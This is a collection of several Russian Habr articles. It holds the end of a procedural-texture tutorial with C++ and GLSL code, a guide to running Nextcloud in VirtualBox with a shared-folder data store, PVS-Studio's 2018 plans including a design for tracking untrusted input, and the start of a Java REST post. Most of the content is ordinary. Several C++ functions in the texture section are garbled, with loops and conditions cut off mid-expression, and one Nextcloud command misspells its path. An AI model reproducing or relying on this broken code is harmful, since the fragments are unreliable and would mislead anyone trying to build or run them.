необходимо преобразовать прямую графика линейного градиента в некое подобие лесенки со сглаженными углами.
Для этого берем значение интенсивности цвета текущего пикселя, делим его на количество итераций (ступенек). Запоминаем целую часть и остаток от деления. От остатка отнимаем половину его максимального диазона и умножаем на коэффициент гладкости. Полученое число обратно прибавляем к целой части. Ох, проще в коде показать:
```
void ProceduralTexture::postEffect(unsigned char *img, int iterations, float smooth){
for (int i=0; i1)
ds = 1;
if (ds<0)
ds = 0;
s = ((float)((int)(s\*(float)iterations))+ds)/(float)iterations;
img[i] = s\*255;
}
}
```
Функция принимает на вход указатель на изображение, кторое нужно преобразовать, количество итераций и степень гладкости. Что бы почувствовать как именно изменяет этот фильтр изображения, приведу пример:
количество итераций везде равно пять. Степень гладкости слева на право: 1, 1.5, 2.5
  
Кстати этот фильтр используется на второй картинке в заголовке поста.
##### Смешивание
Фильтр смешивания необходим для совмещения двух изображений. Например ячеистой текстуры и шума перлина. Смешивание можно реализовать множеством различных способов. Я сделал следующим образом:
При смешивании указывается параметр valueTest — это число характеризует интенсивность пикселя выше которой он (пиксель) не обрабатывается. Так же указывается параметр opacity — собственно прозрачность при смешивании.
**Код**
```
void ProceduralTexture::mix(unsigned char *img1, unsigned char *img2, int valueTest, float opacity){
for (int i=0; i
```
##### Цвет
Каждый камушек имеет свой уникальный цвет. Но в целом все эти цвета похожи друг на друга. Например камушки можно назвать зелеными или коричневыми, но среди них будет множество разных оттенков зеленого или коричневого. Палитра RGB для таких целей не очень подходит, так как ей сложно скомандовать «дай все оттенки серо-буро-малинового цвета в диапазоне, скажем, 10%». Поэтому я выбрал палитру [HSV](http://ru.wikipedia.org/wiki/HSV_(цветовая_модель)). Через нее удобно задавать цвет: яркость камней, насыщенность и оттенок. При этом можно указать диапазон оттенка. Так, например, если мне нужны оттенки желтого цвета, я могу установить компоненту оттенка равной 60 плюс-минус 10. В RGB палитре мне бы пришлось повозиться со всеми каналами.
Однако при использовании HSV модели возникает необходимость в конвертации цвета — ведь в итоговом изображении у нас RGB модель. Взяв с той же вики алгоритм, напишем код:
**Спойлер**
```
inline ColorRGB ProceduralTexture::hsvToRgb(ColorHSV &hsv){
ColorRGB rgb;
if (hsv.s){
hsv.h %= 360;
if (hsv.h<0)
hsv.h += 360;
int i = hsv.h/60;
float f = ((float)hsv.h/60.0f)-(float)i;
unsigned char c1 = (hsv.v*(100-hsv.s))*0.0255f;
unsigned char c2 = (hsv.v*(100-hsv.s*f))*0.0255f;
unsigned char c3 = (hsv.v*(100-hsv.s*(1.0f-f)))*0.0255f;
hsv.v *= 2.55f;
switch (i){
case 0:
rgb.r = hsv.v;
rgb.g = c3;
rgb.b = c1;
break;
case 1:
rgb.r = c2;
rgb.g = hsv.v;
rgb.b = c1;
break;
case 2:
rgb.r = c1;
rgb.g = hsv.v;
rgb.b = c3;
break;
case 3:
rgb.r = c1;
rgb.g = c2;
rgb.b = hsv.v;
break;
case 4:
rgb.r = c3;
rgb.g = c1;
rgb.b = hsv.v;
break;
case 5:
rgb.r = hsv.v;
rgb.g = c1;
rgb.b = c2;
break;
}
} else
rgb.r = rgb.g = rgb.b = hsv.v;
return rgb;
}
```
Теперь остается написать функцию закраски камушков. Я просто перегрузил функцию генерации ячеистой текстуры. По сути вся закраска сводится к тому, что мы при генерации начального набора случайных точек присваиваем им цвет.
**Спойлер**
```
ColorRGB *ProceduralTexture::generateCelluarTexture(int size, ColorHSV color, int hueRange){
if (size<2)
size = 2;
int cellX = w/size+2;
int cellY = h/size+2;
int pointsX[cellX][cellY];
int pointsY[cellX][cellY];
ColorRGB cellColor[cellX][cellY];
srand(seed);
for (int i=0; i=cellX || startY<0 || startY>=cellY)
continue;
int d = distance(x, y, pointsX[startX][startY], pointsY[startX][startY]);
if (d
```
##### Карта нормалей
Для придания рельефа я написал шейдер, который используя текстуру и карту нормалей создает картинку, которую вы видели в заголовке поста. Карту нормалей можно сгенерировать из исходного изображения. Для этого я вычисляю разницу между соседними пикселями — это и есть угол отклонения нормали. После перебора всех пикселей найдя минимальный и максимальный угол я их (углы) нормализую.
**Спойлер**
```
void ProceduralTexture::generateNormalMap(unsigned char *img){
normalMap = new ColorRG[n];
int maxR = 0;
int maxG = 0;
for (int i=0; i0){
int dr = (int)img[y\*w+x-1]-(int)img[y\*w+x];
if (dr>maxR)
maxR = dr;
}
if (y>0){
int dg = (int)img[(y-1)\*w+x]-(int)img[y\*w+x];
if (dg>maxG)
maxG = dg;
}
}
maxR \*= 2;
maxG \*= 2;
for (int i=0; i0){
int r = 127+(((int)img[y\*w+x-1]-(int)img[y\*w+x])\*255)/maxR;
if (r>255)
r = 255;
if (r<0)
r = 0;
normalMap[y\*w+x].r = r;
} else {
int r = 127-(((int)img[y\*w+x+1]-(int)img[y\*w+x])\*255)/maxR;
if (r>255)
r = 255;
if (r<0)
r = 0;
normalMap[y\*w+x].r = r;
}
if (y>0){
int g = 127+(((int)img[(y-1)\*w+x]-img[y\*w+x])\*255)/maxG;
if (g>255)
g = 255;
if (g<0)
g = 0;
normalMap[y\*w+x].g = g;
} else {
int g = 127-(((int)img[(y+1)\*w+x]-img[y\*w+x])\*255)/maxG;
if (g>255)
g = 255;
if (g<0)
g = 0;
normalMap[y\*w+x].g = g;
}
}
}
```
А вот и сам шейдер. Для наглядности я сделал точечное освещение в положении курсора мыши (на картинках в заголовке курсор мыши находился в верхнем левом углу
**Спойлер**
```
//вершинный
varying vec4 texCoord;
void main(){
gl_Position = gl_ModelViewProjectionMatrix*gl_Vertex;
texCoord = gl_MultiTexCoord0;
}
//фрагментный
uniform sampler2D colorMap;
uniform sampler2D normalMap;
varying vec4 texCoord;
uniform vec2 light;
uniform vec2 screen;
uniform float dist;
void main() {
vec3 normal = texture2D(normalMap, texCoord.st).rgb;
normal = 2.0*normal-1.0;
vec3 n = normalize(normal);
vec3 l = normalize(vec3((gl_FragCoord.xy-light.xy)/screen, dist));
float a = dot(n, l);
gl_FragColor = a*texture2D(colorMap, texCoord.st);
}
```
#### Склеиваем все вместе
Я применял вышеописанные функции в следующем порядке:
— создание ячеистой текстуры
— применение фильтра яркости/контрастности
— создание текстуры с шумом перлина
— применение эффекта ступенчатости к шуму перлина
— применение фильтра яркости/контрастности к шуму перлина
— смешивание ячеистой текстуры и шума перлина
— создание карты нормалей
— раскраска
В каждом из описанных шагов есть свои входные параметры. Изменяя их можно получить огромное количество уникальных текстур.
#### А как же бесшовная текстура?
Честно я хотел сделать возможность создания бесшовной текстуры. Но почему то было лень. Рецепт прост: при генерации ячеистой текстуры при поиске расстояний на границах нужно использовать точки с противоположно стороны текстуры. А при генерации шума перлина… если честно даже не думал. Наверное что то похожее.
#### Мало оптимизаций. Оно того стоило?
На самом деле первоначальная реализация кода работала довольно медленно, было много чисел с плавающей точкой, лишних переборов и вычислений. Все что я сделал — это по возможности выносил вычисления и переводил на числа с фиксированной точкой. В итоге производительность между первоначальной версией и текущей выросла примерно 10 раз. Была идея распараллелить алгоритм, однако из-за подозрения что все упирается в работу с памятью я откинул эту мысль.
#### Исходный код
Основной класс для генерации называется ProceduralTexture. Старался писать более или менее красиво, на сколько это может сделать студент 5 курса. Все остальное — это обвес, интерфейсная часть нужна лишь для демонстрации. Красиво я там не особо старался писать.
[исходники](https://github.com/Torvald3d/TexGen)
**Еще немного примеров**
 | https://habr.com/ru/post/182346/ | null | ru | null |
# Nextcloud на VirtualBox с хранилищем в общей папке
Идея иметь собственное домашнее облако у меня была давно. Рассматривал варианты NAS на основе бесплатных дистрибутивов типа FreeNAS, NAS4Free, OpenMediaVault и пр. Но хотелось, чтобы был мобильный клиент, простой и красивый webUI. Раньше как-то баловался с разными решениями и понравился проект ownCloud. Но на текущий момент у него платное мобильное приложение. Сейчас стоит около 30 рублей, но хотелось иметь что-то более бесплатное. Вспомнил про хороший форк ownCloud — [Nextcloud](https://nextcloud.com/). Мобильное приложение бесплатное (+ для есть и дополнительные приложения) и есть декстопные клиенты (Win, Mac, Linux). Сам Nextcloud имеет множество настроек, интеграций, а также возможность установки расширений (приложений).
[Распространяется](https://nextcloud.com/install/#instructions-server) Nextcloud несколькими вариантами:
1. Архив серверного приложения для web-сервера;
2. Web-инсталлер;
3. «Образами» для VirtualBox, Docker и Snap-пакет.
Я решил реализовать схему на VirtualBox, с подключением общей папки, как хранилища.
> **Предусловие:** На сервере должен быть установлен VirtualBox (далее — VB) и VirtualBox Extension Pack (далее — VBEP).
>
>
#### Импорт виртуальной машины
1. Скачиваем образ виртуальной машины — [Nextcloud-VM.ova](https://download.nextcloud.com/vm/Nextcloud-VM.ova).
Другие варианты образов представлены на сайте [Hansson IT](https://www.hanssonit.se/nextcloud-vm/).
2. Двойным кликом запускаем скаченный образ, после чего откроется импорт VirtualBox.
> В настройках можно указать для создаваемой виртуальной машины (далее — ВМ) Имя, Описание и Папку. Характеристики «железа» уменьшать не стоит, иначе при установке Nextcloud могут появиться ошибки о недостаточности ресурсов. Все настройки ВМ, в т.ч. общие папки, лучше настраивать после завершения установки Nextcloud.
>
>
3. После нажимаем «Импорт» и ждём завершения создания нашей ВМ.
4. После успешного импорта, ВМ отобразиться в списке ВМ VB.
#### Первоначальная настройка Nextcloud
Образ ВМ основан на Ubuntu Server 20.04.1 LTS в котором предустановлены скрипты разворачивания Nextcloud.
1. Запускаем ВМ.
2. После запуска ВМ появляется приглашение авторизации. По умолчанию пользователь (админ) сервера — **ncadmin**, с паролем **nextcloud**.
> Смена пароля будет предложена после завершения конфигурации Nextcloud.
>
>
3. Авторизовываемся на сервере.
4. После авторизации появляется приветственное сообщение первого запуска с прделожением запустить скрипт установки. Для запуска необходимо ввести пароль пользователя ncadmin.
Вводим пароль, нажимаем Enter и запускается процесс установки Nextcloud.
5. После проверки конфигурации ВМ будет отображено сообщение о выборе варианта хранения данных. В образе ВМ подключено 2 жестких диска (динамические по 40 Гб):
* disk1 — диск с ОС, файловая система ext4.
* disk2 — диск с файловой системой ZFS.
По умолчанию предлагается хранить данные на втором диске. Я собираюсь хранить данные в сетевой папке (на отдельном физическом жестком диске), поэтому использовать второй диск я не буду.
Ознакомившись с сообщением, нажимаем «Ок».
6. Открывается окно выбора жесткого диска для хранения.
Стрелками встаем на позицию «1 Disk», активируем её пробелом.
Клавишей «Tab» переходим к блоку кнопок, выбираем «Ok» и нажимаем «Enter».
7. На следующем шаге открывается окно выбора DNS сервера:
* Quad9
* Cloudflare
* Local — локальный сервер (по DHCP)
Я предпочитаю использовать Cloudflare. Выбираю его и нажимаю «Ok».
8. Следующее окно — сообщение о выборе зеркала обновлений.
Ознакомившись с сообщением, нажимаем «Ок».
9. Следующее сообщение информирует о текущем сервере обновлений — <http://archive.ubuntu.com/ubuntu>.
Ознакомившись с сообщением, нажимаем «Ок».
10. В следующем окне предлагается найти лучшее зеркало — будет произведен тест доступности и скорости соединения нескольких зеркал, после чего, необходимо выбрать понравившееся.
Я решил остаться на стандартном, хотя по тестам есть зеркала и получше (выше скорость, меньше пинг, шире канал). Поэтому на этом шаге выбираю «No» и нажимаю «Enter».
После чего начнется установка Nextcloud (+PostgreSQL, PHP, Apache).
11. По завершению установки будет предложено изменить пароль ncadmin
Нажимаем любую клавишу. Вводим новый пароль, нажимаем «Enter», подтверждаем новый пароль ещё раз и нажимаем «Enter».
12. После смены пароля появляется сообщение что текущий админ в Nextcloud — ncadmin. И его нужно заменить на нашего.
Нажимаем любую клавишу. Вводим имя пользователя, нажимаем «Enter», вводим пароль, нажимаем «Enter», подтверждаем пароль ещё раз и нажимаем «Enter».
13. Далее появляется окно с выбором местоположения
Выбираем «Europe», и нажимаем «Ok».
14. В следующем окне необходимо выбрать город. Выбираем необходимый и нажимаем «Ok».
15. Т.к. на шаге 7 я выбрал сторонний DNS-сервер, появляется следующее сообщение о том, что существует обновленная версия файла '/etc/sysemd/resolved.conf' и нужно принять решение что делать:
Y или I — установить обновленную (основную действующую) версию;
N или O — оставить текущую установленную версию;
D — показать изменения между версиями;
Z — запустить shell
Список изменений файла:
Если сохраняем ранее выбранные настройки DNS, вводим «N» и нажимаем «Enter», если необходимо вернуться к стандартным настройкам — вводим «Y» и нажимаю «Enter».
После обновления файла ВМ будет перезагружена.
16. После перезагрузки ВМ необходимо авторизоваться (на этом этапе можно пользоваться PuTTY). После авторизации будет приветственное окно, которое сообщит, что мы все установили и это окно можно отключить удалив файл /home/ncadmin/welcome.sh (иначе оно будет постоянно появляться).
Нажимаем «Ok». — Nextcloud установлен.
#### Настройка ВМ
Для работы расширений VB установим соответствующий пакет `sudo apt install virtualbox-guest-utils`
После установки выключим ВМ для её настройки — `sudo shutdown -h now`
После того, как ВМ будет выключена, в VB зайдем в настройки.
1. Можно включить двунаправленный буфер обмена (но лучше пользоваться PuTTY)
2. Я уменьшил оперативную память до 1024 Гб и отключил гибкий диск
3. Установил использование одного ядра процессора
4. Создал общую папку (folder): указал путь и включил авто-подключение
Сохраняем настройки и запускаем ВМ.
#### Изменение папки хранения данных
> Основной гайд для этого блока взял отсюда — <https://enk2x.ru/2019/09/21/datanew/>
>
>
После запуска ВМ, авторизуемся.
1. Проверяем наличие общей папки
`cd /media`
`ls`
Должно отобразиться наименование «sf\_folder» (на гостевой машине у общей папки префикс «sf\_»), где «folder» — имя общей папки на хост машине.
2. Включаем в группу «vboxsf» (группа-владелец общей папки) пользователей ncadmin и www-data (пользователь Apache).
`sudo usermod -aG vboxsf ncadmin`
`sudo usermod -aG vboxsf www-data`
После включения в группу перезагружаем ВМ
`sudo shutdown -r now`
3. После перезагрузки авторизуемся и переводим приложение nextcloud в режим обслуживания
`sudo -u www-data php /var/www/nextcloud/occ maintenance:mode --on`
> Папка nextcloud расположена в корне папки www, а не внутри html
>
>
4. Копируем файлы настроек и пользовательские файлы в общую папку
`sudo cp -R /mnt/ncdata /media/sf_folder`
5. Убеждаемся что всё скопировано
`cd /media/sf_folder/ncdata`
`ls`
Так же можно проверить на хост машине в общей папке
6. Изменяем путь к папке данных в конфиг-файле
`sudo nano /var/www/nextcloud/config/config.php`
Откроется файл config.php, где для параметра 'datadirectory' необходимо изменить значение '/mnt/ncdata' на '/media/sf\_folder/ncdata' (где «folder» — имя общей папки)
После внесения изменений нажимаем Ctrl+X, на вопрос о сохранении изменений вводим «y» и нажимаем «Enter».
7. Выключаем режим обслуживания
`sudo -u www-data php /var/www/nextcloud/occ maintenance:mode --off`
#### Результат
Проверим работоспособность.
1. Авторизуемся на сервере Nextcloud через web-интерфейс под пользователей admin и добавим картинку в папку Photos
2. Проверим наличие файла в общей папке на хост-машине
3. Проверим наличие файла в мобильном приложении.
В результате мы получили облачный сервер на виртуальной машине с внешним хранилищем, к которому можно получить прямой доступ посредством файлового менеджера.
4. Обратный порядок копирования
Если мы сначала вручную закидываем файлы в общую папку (без использования приложения), то в приложении они не будут видны. Для того, чтобы они отобразились, нужно пересканировать папки командой
`sudo -u www-data php /var/www/nwxtcloud/occ files:scan —all`
После сканирования, добавленный файлы отобразятся в приложении.
**UPD (18.01.2021):** исправлена логическая ошибка в п.15 ([комментарий](https://habr.com/ru/post/537738/#comment_22556126) [@KYuri](/users/kyuri)) | https://habr.com/ru/post/537738/ | null | ru | null |
# PVS-Studio 2018: CWE, Java, RPG, macOS, Keil, IAR, MISRA
Приближается 2018 год и пора подумать о новых направлениях развития нашего статического анализатора PVS-Studio. Сейчас наибольший интерес для нас представляет поддержка языка Java. Дополнительно мы рассматриваем возможность поддержки языка IBM RPG. Не менее интересно развить анализ C, C++ C# кода в направлении выявления потенциальных уязвимостей. Ещё нам хочется поддержать анализ C и C++ кода на платформе macOS, и, наконец, доделать поддержку компиляторов от компаний Keil и IAR. Никуда мы не денемся и от поддержки стандарта MISRA. Перечислено много, и на всё одного 2018 года нам не хватит. Поэтому давайте вместе с нами пообсуждаем наши планы и выберем самые приоритетные направления.
Для начала напомню уже реализованные возможности статического анализатора кода [PVS-Studio](https://www.viva64.com/ru/pvs-studio/):
* Выявление широкого спектра ошибок и потенциальных уязвимостей в коде программ на языке C, C++, C++/CLI, C++/CX и C#.
* Удобная и простая интеграция с Visual Studio 2010-2017. Возможен автоматический анализ отдельных файлов после их перекомпиляции.
* Запуск из командной строки для проверки всего решения: позволяет интегрировать PVS-Studio в ночные сборки, чтобы утром у всех был свежий лог. Как вариант, используя утилиту BlameNotifier, можно рассылать письма разработчикам об ошибках, которые PVS-Studio нашел во время ночного прогона.
* Отличная масштабируемость. Поддержка многоядерных и многопроцессорных систем с настройкой количества используемых ядер. Поддержка IncrediBuild.
* Интерактивная фильтрация результатов анализа (лога) в окне PVS-Studio: по коду диагностики, по имени файла, по включению слова в текст диагностики.
* Большое количество вариантов интеграции в проекты, разрабатываемые под Linux.
* Mark as False Alarm – разметка в коде, чтобы не ругаться конкретной диагностикой в конкретном фрагменте файла. Также можно использовать комментарии специального вида для подавления предупреждений, относящихся к макросам.
* Mass Suppression – позволяет подавить все старые сообщения, чтобы анализатор выдавал 0 срабатываний. К подавленным сообщениям всегда можно вернуться позже. Возможность безболезненно внедрить PVS-Studio в существующий процесс разработки и сфокусироваться на ошибках только в новом коде.
* Автоматическая проверка на наличие новых версий PVS-Studio (как при работе в IDE, так и при ночных сборках).
* Использование относительных путей в файлах отчета для возможности переноса отчета на другую машину.
* CLMonitoring – проверка проектов, у которых нет файлов Visual Studio (.sln/.vcxproj); если вдруг вам не хватит функциональности CLMonitoring, то вы можете интегрировать PVS-Studio в любую Makefile-based систему сборки вручную. Аналогичная утилита под Linux носит название pvs-studio-analyzer.
* Возможность исключить из анализа файлы по имени, папке или маске; возможность проверять файлы, модифицированные за последние N дней.
* Интеграция с SonarQube. Это открытая платформа для обеспечения непрерывного контроля качества исходного кода.
* HTML отчет в коротком и полном варианте. Полный вариант включает в себя исходный код файлов и позволяет осуществлять по ним навигацию.
Поддерживаемые языки и компиляторы:
* Windows. Visual Studio 2017 C, C++, C++/CLI, C++/CX (WinRT), C#
* Windows. Visual Studio 2015 C, C++, C++/CLI, C++/CX (WinRT), C#
* Windows. Visual Studio 2013 C, C++, C++/CLI, C++/CX (WinRT), C#
* Windows. Visual Studio 2012 C, C++, C++/CLI, C++/CX (WinRT), C#
* Windows. Visual Studio 2010 C, C++, C++/CLI, C#
* Windows. MinGW C, C++
* Windows/Linux. Clang C, C++
* Linux. GCC C, C++
Мы кратко перечислили то, что уже есть. Подробности можно найти в [документации](https://www.viva64.com/ru/m/). Теперь давайте посмотрим, что может появиться в новых версиях.
Потенциальные уязвимости (weaknesses), CWE
------------------------------------------
Анализатор PVS-Studio уже умеет выявлять большое количество потенциальных уязвимостей (weaknesses). Скоро появится версия PVS-Studio, где большинству предупреждений будет соответствовать тот или иной идентификатор согласно классификации [CWE](https://cwe.mitre.org/).
*Рисунок N1. Включен столбец CWE.*
Однако это только первый этап, который мы сделаем в уходящем 2017 году. В следующем году нас ждёт более интересная работа, связанная с реализацией поиска потенциальных уязвимостей. Мы планируем сделать несколько специализированных диагностик для C, C++ и C# в этом направлении. Для примера, приведём описание одной из запланированных диагностик.
Приведу описание из issues-трекера.
Для начала нам надо ввести понятие «ненадёжные данные». Это данные, которые приходят извне. Примеры ненадёжных данных:
* данные в буфере, прочитанные с помощью функции *fread*
* данные в буфере, полученные с помощью функции *recv*
* данные в буфере (строке), прочитанные с помощью *scanf("%s", ...)*
* целочисленная переменная, прочитанная с помощью *fscanf("%i", ...)*
* целочисленная переменная, прочитанная с помощью *fread(&integer, sizeof(int), 1, file)*
* целочисленная переменная, прочитанная из потока: *wcin >> n;*
* целочисленная переменная, полученная извне другими способами: *n = GetFileSize(h, x);*
* для получения информации используются функции *GetServerVariable*, *ReadClient* (считывается какое-то поле из структуры *EXTENSION\_CONTROL\_BLOCK*)
* и так далее
Переменная/буфер считается ненадёжным источником, пока для него не выполняется какая-то проверка значений. Примеры проверок, делающих данные достоверными (данные проверены и корректны):
* *if (n == 2)*
* *if (strcmp(s1, s2) > 0)*
* *if (strchr(s1, 'c') == 0)*
* *if (n > 1 && n < 100)*
Примечание 1. При этом проверка на NULL для указателей не считается за проверку корректности данных:
```
char s[100];
scanf("%s", s);
if (s) // Здесь мы ничего не проверили.
// Это вообще лишний код. 's' по-прежнему недостоверный буфер.
```
Примечание 2. Потребуется особый механизм Data Flow для массивов и структур, которого пока нет в PVS-Studio. Дело в том, что проверка отдельных элементов не делает достоверным весь буфер/структуру. Пояснение:
```
unsigned char B[2];
if (B[0] < 3) // Проверяем первый элемент, но не второй.
// Второму элементу мы не можем доверять.
// Требуется реализовать для массивов "множество
// непроверенных/проверенных значений".
if (B[0] < 3 && B[1] < 3) // Проверили весь массив.
// Теперь весь массив считается достоверным.
```
Самое сложное — подумать над вот такими проверками всего массива:
```
int A[100];
...
for (i = 0; i < 100; ++i)
if (A[i] < 10) // проверяем весь массив
return;
```
Когда PVS-Studio начнёт знать о недостоверных данных, сделать диагностику, обнаруживающую их использование. Это позволит выявлять уязвимости. Много реальных уязвимостей связано с тем, что принятый байт/байты используются без предварительной проверки. Под использованием понимаются, например, такие действия:
* *if (pinter[unsafe\_int] == 1)*
* *malloc(unsafe\_int \* sizeof(float))*
* *ptr += unsafe\_int;*
* *if (A[unsafe\_buffer[1]] == 1)*
* *memcpy(a, b, unsafe\_buffer[i])*
* *buffer\_size = 1 + unsafe\_int;*
* *printf(unsafe\_buffer, 1, 2);*
* *sprintf(normal\_bug, unsafe\_buffer, 1, 2);*
* и т.д.
Примечание 3. Такие функции, как *strncpy* или *\_tcsncpy\_s* (имеется в виду вариант функции с 3 аргументами), могут образовывать строку без терминального нуля в конце. Такие строки небезопасны с точки зрения применения к ним в дальнейшем функций, которые ждут на вход null-терминальную строку. Например, их нельзя передавать в функцию *strlen*.
Java
----
Уже пару месяцев тихо и спокойно ведётся разработка Java анализатора. К сожалению, пока это происходит в фоновом режиме, так как на всё не хватает сил. Рассказывать про это начинание пока рано. Отмечу только, что для Data Flow анализа планируется использовать наработки, реализованные в ядре С++ анализатора.
Java-анализатор взаимодействует с C++ ядром при помощи Java Native Interface (JNI). Для генерации обёрток над функциями используется SWIG (Simplified Wrapper and Interface Generator). Это позволяет переиспользовать функционал C++ анализатора, а также повысить производительность.
Чтобы подогреть интерес, приведу пару ошибок, которые уже умеет выявлять PVS-Studio в Java-коде.
Проект [JMonkeyEngine](https://github.com/jMonkeyEngine/jmonkeyengine). Предупреждение PVS-Studio: V6004 The 'then' statement is equivalent to the 'else' statement. VRMouseManager.java:139, 147
```
if( environment.isInVR() == false ){
Texture tex = environment.getApplication().
getAssetManager().loadTexture(texture);
mouseImage.setTexture(
environment.getApplication().getAssetManager(),
(Texture2D)tex, true);
ySize = tex.getImage().getHeight();
mouseImage.setHeight(ySize);
mouseImage.setWidth(tex.getImage().getWidth());
mouseImage.getMaterial().getAdditionalRenderState().
setBlendMode(BlendMode.Alpha);
mouseImage.getMaterial().getAdditionalRenderState().
setDepthWrite(false);
} else {
Texture tex = environment.getApplication().
getAssetManager().loadTexture(texture);
mouseImage.setTexture(
environment.getApplication().getAssetManager(),
(Texture2D)tex, true);
ySize = tex.getImage().getHeight();
mouseImage.setHeight(ySize);
mouseImage.setWidth(tex.getImage().getWidth());
mouseImage.getMaterial().getAdditionalRenderState().
setBlendMode(BlendMode.Alpha);
mouseImage.getMaterial().getAdditionalRenderState().
setDepthWrite(false);
}
```
В приведённом коде блоки *then* и *else* одинаковы. Стоит проверить код на наличие ошибки, либо убрать дублирование.
Проект [RxJava](https://github.com/ReactiveX/RxJava). Предупреждение PVS-Studio: V6022 Expression 'idx3 > 0' is always true. JavadocWording.java:865
```
if (idx1 > 0 && idx2 > 0 &&
(idx3 < 0 || (idx2 < idx3 && idx3 > 0))) {
....
}
```
Возможно настоящей ошибки здесь нет, но проверка *idx3 > 0* является избыточной. Раз *idx2 > 0*, и *idx2 < idx3*, то *idx3* всегда будет больше нуля.
IBM RPG
-------
Далеко не все знают, что это за язык, поэтому начнём с его краткого описания.
IBM RPG (Report Program Generator) — язык программирования, синтаксис которого был изначально сходен с командным языком механических табуляторов компании IBM. Был разработан для облегчения перехода инженеров, обслуживавших эти табуляторы, на новую технику и переноса данных. Первоначально был реализован для IBM 1401. Широко использовался в 1960-х и 1970-х.
*Рисунок 2. IBM 1401. См. также [Ken Ross and Paul Laughton demo the IBM 1401](https://youtu.be/VQueCt114Gk).*
Компания IBM продолжает поддержку языка и в настоящее время, так как на нём написан громадный объём кода, который невыгодно переводить на другие языки программирования.
В версии RPG IV, выпущенной в 2001 году, введены элементы объектного программирования.
Компилятор Visual RPG, разработанный сторонним производителем, обеспечивает работу под Windows и поддержку GUI. Существуют также реализации для OpenVMS и других, более экзотических платформ.
Подробнее о языке можно прочитать в Wikipedia: [IBM RPG](https://en.wikipedia.org/wiki/IBM_RPG). Плюс, мы скоро планируем написать обзорную статью про этот язык.
Теперь надо рассказать, почему мы обратили внимание на этот язык.
С нами связалась компания, потенциально заинтересованная в статическом анализе кода на языке RPG. Поэтому мы решили посмотреть на этот язык, и он нас заинтересовал. Как мы понимаем, на этом языке написано много кода, который нужно поддерживать и дописывать новые фрагменты. При этом специалистов, знакомых с этим языком, крайне мало, что заставляет думать о дополнительных способах контроля его качества и корректности. Именно из этого и возникает интерес к возможности статического анализа кода.
Мы подумали, что раз в мире продолжают появляться и развиваться анализаторы для таких языков, как Cobol и Ada, то почему-бы нам не сделать анализатор для RPG. Тем более, что этот язык пока обделён в плане анализаторов кода. Например, существует анализатор [SonarRPG](https://www.sonarsource.com/products/codeanalyzers/sonarrpg.html), но в нём реализовано только 8 диагностик для выявления ошибок. Этого явно недостаточно. Я уверен: мы бы смогли предложить пользователям гораздо больше интересных диагностик для выявления настоящих ошибок и опечаток.
Мы не спешим браться за создание анализатора для IBM RPG, но решили озвучить эту тему, чтобы поискать потенциальных клиентов. Если в вашей организации имеют дело с IBM RPG, то мы будем рады пообщаться с вами и узнать ваше мнение о перспективах разработки RPG-анализатора.
Если мы увидим, что к языку RPG действительно есть интерес, то в 2018 мы начнём работу в этом направлении.
Примечание. Анализатор IBM RPG, если такой появится, будет поставляться отдельно и иметь специальную цену (винтаж ведь дороже стоит :).
*Рисунок N3. Книги по языку RPG куплены. Осталось найти героя их прочитать.*
macOS
-----
Предлагаем делать предзаказы и приобретать лицензии на macOS версию анализатора.
На данный момент macOS версия не готова, но в её создании нет ничего сложного. Нужно просто взять и сделать её. Думаю, если этот вопрос станет актуальным, мы адаптируем PVS-Studio для macOS в течение нескольких месяцев. Другое дело, что пока мы не торопимся это делать. Мы не уверены, что это более приоритетное направление, по сравнению с другими.
Поэтому мы были бы рады продать несколько лицензий, чтобы убедиться в практическом интересе со стороны программистского сообщества.
Нам важен именно практический интерес, а абстрактный интерес мы «уже проходили» и сделали [неудачный продукт CppCat](https://www.viva64.com/ru/b/0320/) :). Хочется не повторять таких ошибок.
Преимущества, которые получат клиенты, приобретя ещё неготовую PVS-Studio:
* За цену годовой лицензии Вы сможете использовать PVS-Studio 2 года.
* Вы получите интеграцию именно под свою сборочную систему и окружение.
Keil, IAR
---------
Компании Keil и IAR разрабатывают компиляторы для встраиваемых систем. Время от времени нам пишут с предложением реализовать их поддержку. Никаких препятствий нет и часть работы уже проделана. К сожалению, не хватает ресурсов довести это до ума и протестировать. Надеюсь, мы сможем найти время для Keil и IAR в 2018 году.
MISRA
-----
До недавнего времени мы крайне узко [смотрели](https://www.viva64.com/ru/b/0436/) на стандарт MISRA с позиции — как много ошибок он позволит найти. Это неправильный подход. Смысл таких стандартов как MISRA не в том, чтобы найти как можно больше ошибок в проекте. Их смысл, чтобы дополнительно контролировать качество кода и предостерегать программиста от использования потенциально опасных конструкций языка.
Например, одно из правил MISRA запрещает использовать оператор *goto*. Если взять и попробовать применить такое правило к старому, большому, и при этом давно существующему проекту, то результатом, скорее всего, будет разочарование от такой проверки кода. Почти наверняка, не найдется ошибок, зато придётся переписывать большое количество алгоритмов, чтобы избавиться от *goto*. Этим можно нанести больше вреда, чем получить пользы, случайно внеся ошибки в процессе рефакторинга кода.
Стандарт MISRA используют не так. Приложение сразу должно писаться с учетом приведённых в стандарте правил. Образно говоря, MISRA не способ борьбы с существующими *goto*, а способ, чтобы эти *goto* не использовались при написании кода.
Мы пересмотрели своё отношение к стандарту MISRA и понимаем, что он действительно необходим, хоть и не укладывается в нашу модель «взяли большой проект, запустили PVS-Studio, нашли ошибки». Наши потенциальные клиенты хотят одновременно и использовать MISRA и находить опечатки, которые замечательно выявляет PVS-Studio.
Мы идём навстречу нашим клиентам и начали работу по поддержке стандартов MISRA C и MISRA C++ в PVS-Studio. По умолчанию MISRA-предупреждения будут отключены. Мы не хотим забивать окно отчета такими сообщениями, как «нельзя использовать комментарии /\* \*/, следует использовать //». Однако, в любой момент набор MISRA-диагностик можно будет включить и начать регулярно использовать.
Заключение
----------
Как видите, на 2018 год у нас очень много планов. Эта статья написана как повод начать дискуссию с нашими новыми потенциальными пользователями и узнать, что больше их интересует. Просим проявлять активность и [писать](https://www.viva64.com/ru/about-feedback/) нам свои мнения по озвученным направлениям. Особенно веским словом будут предзаказы лицензий :).
Всем спасибо за внимание и заранее поздравляем с наступающим Новым 2018 годом! | https://habr.com/ru/post/344734/ | null | ru | null |
# Реализуем RESTful Web Service на java
Добрый день всем хаброжителям!
Поводом к написанию статьи послужило, то что к моему большому удивлению на хабре я не нашёл статьи о реализации RESTful Web Service на Java, может, конечно, плохо искал. Да написано про RESTful web services очень много, но как то вот так, чтобы простенько с примерами кода, рабочий сервис, не так уж и легко найти и не только на хабре…
Вообще с [REST](http://en.wikipedia.org/wiki/REST) я познакомился совсем недавно, не больше месяца назад. Так что буду очень благодарен за советы, поправки и критику!
